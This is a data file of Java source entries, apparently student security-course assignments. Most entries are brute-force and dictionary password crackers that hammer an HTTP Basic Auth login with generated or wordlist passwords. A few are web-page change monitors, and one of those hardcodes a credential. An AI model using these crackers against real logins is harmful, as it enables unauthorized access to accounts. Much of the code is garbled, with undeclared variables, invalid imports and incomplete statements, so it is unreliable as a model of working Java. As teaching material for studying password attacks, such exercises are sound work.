start, end, other_start; + + + + while (i < i_end && !changed[1+i]) + { + while (other_changed[1+j++]) + + other_preceding = j; + i++; + } + + if (i == i_end) + break; + + start = i; + other_start = j; + + for (;;) + { + + + while (i < i_end && changed[1+i]) i++; + end = i; + + + + + + if (end != i_end + && equivs[start] == equivs[end] + && !other_changed[1+j] + && end != i_end + && !((preceding >= 0 && start == preceding) + || (other_preceding >= 0 + && other_start == other_preceding))) + { + changed[1+end++] = true; + changed[1+start++] = false; + ++i; + + ++j; + } + else + break; + } + + preceding = i; + other_preceding = j; + } + } + + + final int buffered_lines; + + + private final int[] equivs; + + + final int[] undiscarded; + + + final int[] realindexes; + + + int nondiscarded_lines; + + + boolean[] changed_flag; + + } +} +" +188.java," + +import java.awt.*; +import java.String; +import java.util.*; +import java.io.*; +import java.net.*; + + + +public class BruteForce +{ + private URL url; + private HttpURLConnection connection ; + private int stopTime = 0; + private int startTime = 0; + private int count = 0; + + public BruteForce() + { + System.out.println(""Process is running...""); + startTime = System.currentTimeMillis(); + threeLetters(); + twoLetters(); + } + + public static void main (String args[]) + { + BruteForce bf = new BruteForce(); + } + + public void threeLetters() + { + String s1; + char [] a = {'a','a','a'}; + + for (int i0 = 0; i0 < 26; i0++) + { + for (int i1 = 0; i1 < 26; i1++) + { + for (int i2 = 0; i2 < 26; i2++) + { + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + + (String.valueOf((char)(a[2] + i2))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); + decision(s1); + count++; + } + } + } + } + + public void twoLetters() + { + String s1; + char [] a = {'a','a'}; + + for (int i0 = 0; i0 < 26; i0++) + { + for (int i1 = 0; i1 < 26; i1++) + { + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); + decision(s1); + count++; + + s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + + (String.valueOf((char)(a[1] + i1))).toUpperCase(); + decision(s1); + count++; + + s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); + decision(s1); + count++; + } + } + } + + + public void decision(String s1) + { + if (find(s1) == 200) + { + stopTime = System.currentTimeMillis(); + runTime = stopTime - startTime; + System.out.println(""***************************************""); + System.out.println(""\nAttack successfully""); + System.out.println(""\nPassword is: "" + s1); + System.out.println(""\nThe contents of the Web site: ""); + displayContent(s1); + System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); + System.out.println(""\nNumber of attempts: "" + count); + System.out.println(); + + System.exit(0); + } + } + + + public int find(String s1) + { + int responseCode = 0; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); + + responseCode = connection.getResponseCode(); + + }catch (Exception e) + { + System.out.println(e.getMessage()); + } + return responseCode; + } + + + public void displayContent(String pw) + { + BufferedReader bw = null ; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); + InputStream stream = (InputStream)(connection.getContent()); + if (stream != null) + { + InputStreamReader reader = new InputStreamReader (stream); + bw = new BufferedReader (reader); + String line; + + while ((line = bw.readLine()) != null) + { + System.out.println(line); + } + } + } + catch (IOException e) + { + System.out.println(e.getMessage()); + } + } +} + + + + +" +014.java," + + + +import java.util.*; +import java.net.*; +import java.io.*; +import misc.BASE64Encoder; +import javax.swing.*; + +public class ConnectionThread extends Thread +{ + private String url; + private URL currURL; + private URLConnection conn; + private HoldSharedData sharedData; + private int noOfThread; + private int batch; + + public ConnectionThread( String pageURL, int wThread, + int newBatch, HoldSharedData data ) + { + super(); + url = pageURL; + noOfThread = wThread ; + batch = newBatch; + sharedData = data; + } + + + public void run() + { + try + { + currURL = new URL( url ); + + for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && + (i < sharedData.getPwdCount()); i ++ ) + { + String pwd = sharedData.getPasswordAt( i ); + + conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setFollowRedirects(false); + String cad = "" "" + based64Encoder( "":"" + pwd ); + hconn.setRequestProperty( ""Authorization"", cad ); + + hconn.connect(); + int response = hconn.getResponseCode(); + sharedData.setNumOfConnections(); + + if( response == 200 ) + { + totalTime = System.currentTimeMillis() - + sharedData.getStartTime(); + int numOfConnections = sharedData.getNumOfConnections(); + + System.out.println( ""Password is "" + pwd ); + System.out.println( ""Total Time(seconds)="" + + (double)totalTime/1000 ); + System.out.println( ""Number Of Connections: "" + + numOfConnections ); + System.exit(0); + } + else + { + hconn.disconnect(); + } + } + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL: "" + url; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private String based64Encoder( String pwd ) + { + + String str = pwd; + byte[] buf = str.getBytes(); + String encodedStr = new misc.BASE64Encoder().encode(buf); + + + return encodedStr; + } +} " +198.java," + +import java.*; +import java.io.*; +import java.util.*; +import java.net.*; + +public class WatchDog +{ + public static void main(String[] args) throws IOException + { + sleepTime = 24*1000*60*60; + WatchDog wd=new WatchDog(); + wd.doWget(); + wd.doThreads(sleepTime); + } + public void doThreads(int sleepTime) + { + new MyThread(""thread"",sleepTime).start(); + } + + + public void doWget() + { + Process p; + Runtime rt=Runtime.getRuntime(); + try + { + p=rt.exec(""wget -O test0.html http://www.cs.rmit.edu./students/""); + p.destroy(); + }catch(IOException ioe) + {System.out.println(ioe);} + catch(NullPointerException npe) + {System.out.println(npe);} + } +} + +class MyThread extends Thread +{ + private int sleepTime; + private int times; + private Process p; + + public MyThread (String str, int s) + { + super(str); + times=1; + sleepTime=s; + } + + public void run() + { + Runtime rt=Runtime.getRuntime(); + char flags='1'; + String[] differents=new String[2000]; + int k,lineNum,diffNum; + boolean isDiff=false; + String result=""result\n""; + + + for(int i=0;i ""+line1; + k++; + isDiff=true; + } + line=buf.readLine(); + line1=buf1.readLine(); + lineNum++; + diffNum=k; + if(diffNum==2000) + { + System.out.println("" many differents store!""); + System.exit(1); + } + }while(line!=null&&line1!=null); + + + if(isDiff) + { + try + { + File diffFile=new File(""differents""+(char)((int)flags-2)+"".txt""); + FileWriter fw = new FileWriter (diffFile); + for(int j=0;j> 2)]; + c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; + c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; + c[j+3] = table[(b[i+2] & 63)]; + i+=3; + j+=4; + } + + j = c.length-1; + while (c[j]=='A') { + c[j]='='; + j--; + } + + return String.valueOf(c); + } + + + public synchronized void getAccumulatedLocalAttempt() { + attempt = 0; + for (int i=0;i=0); + } + + + + public synchronized void waitUntilAllTerminated() { + while (curconn>0) { + try { + wait(); + } catch (InterruptedException e) {} + } + } + + + + + public synchronized int waitUntilOK2Connect() { + boolean interruptd= false; + int idx = -1; + + + + + while (curconn>=MAXCONN) { + try { + wait(); + } catch (InterruptedException e) { interruptd = true; } + } + + + + if (!interruptd) { + + curconn++; + for (idx=0;idx=0) { + if (idx>=idxLimit[i]) { + int nchar = i + 1; + idx-=idxLimit[i]; + for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } + mult = (ALLCOMBI - idxstart) / MAXTHREAD; + + + + for (thcount=0;thcount=0) { + System.out.println(); + System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); + System.out.println(); + System.out.println("" The password is : ""+passw); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } else { + System.out.println(); + System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); + System.out.println(); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + } + } + + + public static void printSyntax() { + System.out.println(); + System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); + System.out.println(); + System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); + System.out.println("" (trying from the first the last combinations)""); + System.out.println("" 1 - ENHANCED Brute force mode""); + System.out.println("" (dividing cracking jobs multiple threads) (default)""); + System.out.println("" URL : (opt) the URL crack ""); + System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); + System.out.println("" charset : (optional) the character set used crack.""); + System.out.println("" - (default)""); + System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + System.out.println("" -alphanum ""); + System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); + System.out.println("" -alphalow ""); + System.out.println("" abcdefghijklmnopqrstuvwxyz""); + System.out.println("" -alphaup ""); + System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); + System.out.println("" -number ""); + System.out.println("" 1234567890""); + System.out.println("" [custom] e.g. aAbB123""); + System.out.println("" , : (optional) range of characters applied in the cracking""); + System.out.println("" where 1 <= <= 10 (default = 1)""); + System.out.println("" <= <= 10 (default = 3)""); + System.out.println("" username : (optional) the username that is used crack""); + System.out.println(); + System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); + System.out.println("" have specified altogether none at all.""); + System.out.println("" For example, if [charset] is specified, then [], [], and""); + System.out.println("" [username] have specified as well. If none of them specified,""); + System.out.println("" default values used.""); + System.out.println(); + System.out.println("" Example of invocation :""); + System.out.println("" java BruteForce ""); + System.out.println("" java BruteForce 0""); + System.out.println("" java BruteForce 1 http://localhost/tryme.php""); + System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); + System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); + System.out.println(); + System.out.println(); + } + + + + + + + + + public static void countIdxLimit() { + idxLimit = new int[MAXCHAR+1]; + + NCHAR = charset.length(); + ALLCOMBI = 0; + for (int i=0;i<=MAXCHAR;i++) { + if (i==0) { + idxLimit[i] = 0; + } else { + idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); + } + } + + ALLCOMBI = idxLimit[idxLimit.length-1]; + } + + + public static void paramCheck(String[] args) { + int argc = args.length; + + + try { + switch (Integer.valueOf(args[0]).intValue()) { + case 0: { + isenhanced = false; + } break; + case 1: { + isenhanced = true; + } break; + default: + System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + } catch (NumberFormatException e) { + System.out.println(""Syntax error : invalid number '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + + if (argc>1) { + try { + + URL u = new URL(args[1]); + + + try { + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + + switch (conn.getResponseCode()) { + case HttpURLConnection.HTTP_ACCEPTED: + case HttpURLConnection.HTTP_OK: + case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: + case HttpURLConnection.HTTP_FORBIDDEN: + case HttpURLConnection.HTTP_UNAUTHORIZED: + break; + default: + + + System.out.println(""Unable open connection the URL '""+args[1]+""'""); + System.exit(1); + } + } catch (IOException e) { + System.out.println(e); + System.exit(1); + } + + THEURL = args[1]; + } catch (MalformedURLException e) { + + System.out.println(""Invalid URL '""+args[1]+""'""); + printSyntax(); + System.exit(1); + } + } + + + if (argc==6) { + try { + MINCHAR = Integer.valueOf(args[3]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[3]+""'""); + printSyntax(); + System.exit(1); + } + + try { + MAXCHAR = Integer.valueOf(args[4]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[4]+""'""); + printSyntax(); + System.exit(1); + } + + if ((MINCHAR<1) || (MINCHAR>10)) { + System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); + printSyntax(); + System.exit(1); + } else + if (MINCHAR>MAXCHAR) { + System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); + printSyntax(); + System.exit(1); + } + + if (MAXCHAR>10) { + System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); + printSyntax(); + System.exit(1); + } + + if (args[2].toLowerCase().equals(""-"")) { + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; + } else + if (args[2].toLowerCase().equals(""-alphanum"")) { + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; + } else + if (args[2].toLowerCase().equals(""-alphalow"")) { + charset = ""abcdefghijklmnopqrstuvwxyz""; + } else + if (args[2].toLowerCase().equals(""-alphaup"")) { + charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; + } else + if (args[2].toLowerCase().equals(""-number"")) { + charset = ""1234567890""; + } else { + charset = args[2]; + } + + USERNAME = args[5]; + } else + if ((argc>2) && (argc<6)) { + System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); + printSyntax(); + System.exit(1); + } else + if ((argc>2) && (argc>6)) { + System.out.println(""The number of parameters expected is not more than 6. ""); + System.out.println("" have specified more than 6 parameters.""); + printSyntax(); + System.exit(1); + } + } + + public static void main (String[] args) { + + charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; + MINCHAR = 1; + MAXCHAR = 3; + + + if (args.length==0) { + args = new String[6]; + args[0] = String.valueOf(1); + args[1] = THEURL; + args[2] = ""-""; + args[3] = String.valueOf(MINCHAR); + args[4] = String.valueOf(MAXCHAR); + args[5] = USERNAME; + } + + + paramCheck(args); + + countIdxLimit(); + + + Application = new BruteForce(); + } + + public static BruteForce Application; + public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + public static boolean isenhanced; + public static String passw = """"; + + public static final int REPORT_INTERVAL = 10; + public static int MAXTHREAD = 50; + public static int MAXCONN = 50; + public static int curconn = 0; + public static int success = -1; + + public static String USERNAME = """"; + public static int MINCHAR; + public static int MAXCHAR; + public static int ALLCOMBI; + + public static int start ,end; + + + public static java.util.Timer reportTimer; + public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; + public static boolean connused[] = new boolean[MAXCONN]; + public ThCrack[] threads = new ThCrack[MAXTHREAD]; + public static int attempt = 0; + public static int idxLimit; + public static String charset; + public static int NCHAR; +} +" +021.java," + + + +import java.util.*; +import java.net.*; +import java.io.*; +import misc.BASE64Encoder; +import javax.swing.*; + +public class ConnectionThread extends Thread +{ + private String url; + private URL currURL; + private URLConnection conn; + private HoldSharedData sharedData; + private int noOfThread; + private int batch; + + public ConnectionThread( String pageURL, int wThread, + int newBatch, HoldSharedData data ) + { + super(); + url = pageURL; + noOfThread = wThread; + batch = newBatch; + sharedData = data; + } + + + public void run() + { + try + { + currURL = new URL( url ); + + for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && + (i < sharedData.getPwdCount()); i ++ ) + { + String pwd = sharedData.getPasswordAt( i ); + + conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setFollowRedirects(false); + String cad = "" "" + based64Encoder( "":"" + pwd ); + hconn.setRequestProperty( ""Authorization"", cad ); + + hconn.connect(); + int response = hconn.getResponseCode(); + sharedData.setNumOfConnections(); + + if( response == 200 ) + { + totalTime = System.currentTimeMillis() - + sharedData.getStartTime(); + int numOfConnections = sharedData.getNumOfConnections(); + + System.out.println( ""Password is "" + pwd ); + System.out.println( ""Total Time(seconds)= "" + + (double)totalTime/1000 ); + System.out.println( ""Total Number Of Connections: "" + + numOfConnections ); + System.exit(0); + } + else + { + hconn.disconnect(); + } + } + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL: "" + url; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private String based64Encoder( String pwd ) + { + + String str = pwd; + byte[] buf = str.getBytes(); + String encodedStr = new misc.BASE64Encoder().encode(buf); + + + return encodedStr; + } +} " +010.java," + +import java.io.*; +import java.*; +import java.util.StringTokenizer; + +public class Dictionary +{ + public static void main(String args[]) + { + final String DICT_FILE = ""/usr/share/lib/dict/words""; + String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + String password; + String s = null; + int num_tries = 0; + + try + { + + BufferedReader dict_word = new BufferedReader + (new FileReader (DICT_FILE)); + + + while((password = dict_word.readLine())!= null) + { + try + { + + Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) + { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) + { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + + num_tries++; + + if((p.exitValue()) == 0) + { + System.out.println(""**********PASSWORD IS: "" + password); + System.out.println(""**********NUMBER OF TRIES: "" + num_tries); + System.exit(1); + } + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + } + + System.out.println(""DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD""); + System.out.println(""**********Sorry, password was not found in dictionary file""); + System.exit(1); + + } + catch (FileNotFoundException exception) + { + System.out.println(exception); + } + catch (IOException exception) + { + System.out.println(exception); + } + } +} + +" +142.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class Dictionary +{ + + public Dictionary() + { + } + + public static void main(String[] args) + { + try + { + + if (args.length != 3 ) + { + System.out.println(""Usage: java BruteForce ""); + System.exit(1); + } + + timeStart = System.currentTimeMillis(); + + String strPass = applyDictionary (args[0], args[1], args [2]); + + timeEnd = System.currentTimeMillis(); + + System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); + System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); + + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + static String applyDictionary (String URL, String UserName, String strUrlDictionary) + { + String strPass = """"; + + try + { + FileInputStream fIn = new FileInputStream ( strUrlDictionary ); + DataInputStream dtIn = new DataInputStream ( fIn ); + + + + + System.out.print(""\n\n\n Applying Dictionary Attack: ""); + + while (dtIn.available() > 0) + { + strPass = dtIn.readLine(); + + if (strPass.length() != 3) + continue; + + + + + System.out.print(""\b\b\b"" + strPass ); + + boolean boolResult = applyPass ( URL, UserName, strPass ); + + if (boolResult) + { + dtIn.close(); + fIn.close(); + return strPass; + } + } + + dtIn.close(); + fIn.close(); + } + catch (Exception e) + { + e.printStackTrace(); + } + + return ""Could not find match""; + } + + private static boolean applyPass (String strURL, String strUserName, String strPass ) + { + BASE64Encoder myEncoder = new BASE64Encoder (); + + try + { + String str = strUserName + "":"" + strPass; + + String strEncode = myEncoder.encode(str.getBytes()); + + URL url = new URL (strURL); + + URLConnection urlConn = url.openConnection(); + + urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); + + urlConn.connect(); + + String strReply = urlConn.getHeaderField(0); + + if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) + { + return true; + } + } + catch (Exception e) + { + e.printStackTrace (); + } + + return false; + } +} +" +061.java," + +import java.io.*; +import java.util.*; +import java.net.*; + + +public class Dictionary { + + public static void main(String[] args) { + + String attackURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + String userID = """"; + String Password=""""; + String userPassword=""""; + + File inputFile = new File(""/usr/share/lib/dict/words""); + FileReader fin = null; + BufferedReader bf = null; + + try { + startmillisecond = System.currentTimeMillis(); + URL url = new URL(attackURL); + fin = new FileReader(inputFile); + bf = new BufferedReader(fin); + int count = 0; + while ((Password = bf.readLine()) !=null) { + if (Password.length() < 4) { + count++; + try { + userPassword = userID + "":"" + Password; + System.out.println(""User & Password :"" + userPassword); + String encoding = Base64Converter.encode (userPassword.getBytes()); + + URLConnection uc = url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + InputStream content = (InputStream)uc.getInputStream(); + BufferedReader in = new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + + System.out.println(line); + } + endmillisecond = System.currentTimeMillis(); + searchmillisecond = endmillisecond - startmillisecond; + System.out.println(""Match in "" + searchmillisecond + "" milliseconds ""); + System.out.println(""Try in "" + count + "" times ""); + System.exit(1); + + } catch (MalformedURLException e) { + System.out.println(""Invalid URL""); + } catch (IOException e) { + System.out.println(""Error URL""); + } + } + } + } + catch (Exception ioe) { + System.out.println(ioe.getMessage()); + } + finally { + } + } + +} +" +104.java," + +import java.io.*; +import java.net.*; +import java.Runtime; + +public class WatchDog +{ + public WatchDog() + {} + + public void getDiff() + { + String oldFile=""oldFile.txt""; + String newFile=""newFile.txt""; + String email=""email.txt""; + String cmdMail=""mail -s WebChanged < ""+email; + String cmdCmp=""diff -b "" + newFile +"" ""+oldFile; + String cmdCp=""cp ""+ newFile +"" ""+oldFile; + + FileWriter fw; + try{ + this.fetchURL(newFile); + + Process ps =Runtime.getRuntime().exec(cmdCmp); + fw=new FileWriter(email,true); + InputStream input=(InputStream)ps.getInputStream(); + BufferedReader in = new BufferedReader (new InputStreamReader (input)); + String line; + while ((line = in.readLine()) != null) { + fw.write(line); + fw.write(""\n""); + } + fw.close(); + Runtime.getRuntime().exec(cmdMail); + Runtime.getRuntime().exec(cmdCp); + } + catch (IOException e) { + System.out.println (""Error URL""); + } + } + + public void fetchURL(String newFile){ + FileWriter fileWriter; + String userPwd="":lena1018""; + + try{ + + fileWriter= new FileWriter(newFile,false); + + URL url=new URL(""http://www.cs.rmit.edu./students""); + + HttpURLConnection huc=(HttpURLConnection) url.openConnection(); + InputStream content = (InputStream)huc.getInputStream(); + BufferedReader in = new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + fileWriter.write(line); + fileWriter.write(""\n""); + } + fileWriter.close(); + } + catch (MalformedURLException e) { + System.out.println (""Invalid URL""); + } catch (IOException e) { + System.out.println (""Error URL""); + } + } + + public static void main(String[] arguments) + { + WatchDog wd =new WatchDog(); + wd.getDiff(); + } + +}" +226.java," + + + + + + + +import java.io.*; +import java.net.*; +import javax.swing.Timer; +import java.awt.event.*; +import javax.swing.JOptionPane; + +public class WatchDog +{ + private static Process pro = null; + private static Runtime run = Runtime.getRuntime(); + + public static void main(String[] args) + { + String cmd = null; + try + { + cmd = new String(""wget -O original.txt http://www.cs.rmit.edu./students/""); + + pro = run.exec(cmd); + System.out.println(cmd); + } + catch (IOException e) + { + } + + class Watch implements ActionListener + { + BufferedReader in = null; + String str = null; + Socket socket; + public void actionPerformed (ActionEvent event) + { + + try + { + System.out.println(""in Watch!""); + String cmd = new String(); + int ERROR = 1; + cmd = new String(""wget -O new.txt http://www.cs.rmit.edu./students/""); + + + System.out.println(cmd); + cmd = new String(""diff original.txt new.txt""); + pro = run.exec(cmd); + System.out.println(cmd); + in = new BufferedReader(new InputStreamReader(pro.getInputStream())); + + if (((str=in.readLine())!=null)&&(!str.endsWith(""d0""))) + { + System.out.println(str); + try + { + socket = new Socket(""yallara.cs.rmit.edu."",25); + PrintWriter output = new PrintWriter(socket.getOutputStream(),true); + String linetobesent = null; + BufferedReader getin = null; + + try + { + FileReader = new FileReader(""template.txt""); + getin = new BufferedReader(); + while (!(linetobesent=getin.readLine()).equals("""")) + { + System.out.println(linetobesent); + output.println(linetobesent); + } + output.println(""Orignail Line .s C New Line .s "" + str); + while ((linetobesent=in.readLine())!=null) + { + output.println(linetobesent); + System.out.println(linetobesent); + } + while ((linetobesent=getin.readLine())!=null) + { + output.println(linetobesent); + System.out.println(linetobesent); + } + cmd = new String(""cp new.txt original.txt""); + System.out.println(cmd); + pro = run.exec(cmd); + + } + catch (IOException ex) + { + System.out.println(ex); + } + catch (Exception ex) + { + System.out.println(ex); + System.exit(ERROR); + } + finally + { + try + { + if (getin!= null) + getin.read(); + } + catch (IOException e) {} + } + + } + catch (UnknownHostException e) + { + System.out.println(e); + System.exit(ERROR); + } + catch (IOException e) + { + System.out.println(e); + System.exit(ERROR); + } + + + + + + + + } + else + System.out.println(""string is empty""); + } + catch (IOException exc) + { + } + + } + } + + Watch listener = new Watch(); + Timer t = new Timer(null,listener); + t.close(); + + JOptionPane.showMessageDialog(null,""Exit WatchDog program?""); + System.exit(0); + } +} +" +224.java," + +import java.io.*; +import java.text.*; +import java.util.*; +import java.net.*; + +public class Dictionary extends Thread +{ + private static final String USERNAME = """"; + private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; + private static int NUMBER_OF_THREAD = 500; + + private static Date startDate = null; + private static Date endDate = null; + + private String address; + private String password; + + public Dictionary(String address, String password) + { + this.address = address; + this.password = password; + } + + public static void main(String[] args) throws IOException + { + if (args.length < 1) + { + System.err.println(""Invalid usage!""); + System.err.println(""Usage: java Dictionary ""); + System.exit(1); + } + + try + { + dic(args[0], USERNAME); + } + catch(Exception e) + { + e.printStackTrace(); + System.exit(1); + } + } + + public static void dic(String address, String user) + { + Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; + int index = 0; + + startDate = new Date(); + try + { + BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); + String password = null; + while((password = buff.readLine()) != null) + { + if (threads[index] != null && threads[index].isAlive()) + { + try + { + threads[index].join(); + } + catch(InterruptedException e) {} + } + threads[index] = new Dictionary(address, password.trim()); + threads[index].get(); + + index = (index++) % threads.length; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public void run() + { + if (endDate != null) + return; + + try + { + URLConnection conn = (new URL(address)).openConnection(); + conn.setDoInput(true); + + if (login(conn, USERNAME, password)) + { + endDate = new Date(); + System.out.println(""Found the password: \""""+password+""\""!""); + SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); + System.out.println(""Process started at: ""+format.format(startDate)); + System.out.println(""Process started at: ""+format.format(endDate)); + double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; + System.out.println(""Time taken: ""+timeTaken+"" minutes""); + System.exit(0); + } + else + { + System.out.println(""Password: \""""+password+""\"" Failed!""); + return; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public static boolean login(URLConnection conn, String user, String pass) + { + try + { + String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); + conn.setRequestProperty (""Authorization"", encodeAuth); + conn.connect(); + conn.getInputStream(); + } + catch(Exception e) + { + return false; + } + return true; + } +} + + +" +069.java," + + +import java.misc.BASE64Encoder; +import java.misc.BASE64Decoder; + +import java.io.*; +import java.net.*; +import java.util.*; + + +public class BruteForce { + + static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray(); + + private int indices[] = {0,0,0}; + + private String url = null; + + + public BruteForce(String url) { + this.url = url; + + } + + private int attempts = 0; + private boolean stopGen = false; + + public String getNextPassword(){ + String nextPassword = """"; + for(int i = 0; i ""); + System.exit(1); + } + + BruteForce bruteForce1 = new BruteForce(args[0]); + try{ + Calendar cal1=null, cal2=null; + cal1 = Calendar.getInstance(); + System.out.println(""Cracking started at: "" + cal1.getTime().toString()); + String password = bruteForce1.crackPassword(args[1]); + if(password != null) + System.out.println(""\nPassword is: ""+password); + else + System.out.println(""\nPassword could not retrieved!""); + cal2 = Calendar.getInstance(); + 